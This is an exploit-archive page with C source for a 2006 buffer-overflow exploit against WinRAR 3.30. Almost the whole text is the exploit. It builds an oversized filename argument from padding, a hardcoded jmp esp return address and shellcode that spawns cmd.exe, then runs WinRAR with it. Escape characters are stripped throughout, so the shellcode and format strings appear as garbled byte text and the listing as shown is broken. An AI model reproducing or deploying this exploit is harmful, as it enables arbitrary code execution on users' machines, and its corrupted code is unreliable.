WinRAR 3.30 Long Filename Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : WinRAR 3.30 Long Filename Buffer Overflow Exploit
# Published : 2006-01-04
# Author : K4P0
# Previous Title : PHP <= 4.4.0 (mysql_connect function) Local Buffer Overflow Exploit
# Next Title : MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)

/* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: k4p0k4p0@hotmail.com
*/

#include <stdio.h>
#include <windows.h>

int main(void)
{
   char EvilBuff[1024];

   // Normal cmd.exe shellcode.
   char shellcode[] = "x55x8BxECx33xFFx57x83xECx04xC6x45xF8x63"
   		      "xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6"
		      "x45xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45"
                      "xF8x50xBBx44x80xBFx77xFFxD3";

   char jmpesp_offset[] = "x0Fx98xF8x77";
   char Prog[1024] = "WinRAR ";

   printf("WinRAR Buffer Overflow 3.30 Exploitnn");
   printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Teamn");
   printf("Exploit made by: K4P0n");
   memset(EvilBuff, 0x00, 1024);
   memset(EvilBuff, 0x41, 510);
   strncat(EvilBuff, jmpesp_offset, 1024);
   strncat(EvilBuff, shellcode, 1024);
   strncat(Prog, EvilBuff, 1024);
   printf("nExploiting...n");
   system(Prog);
   return 0;
}

// www.Syue.com [2006-01-04]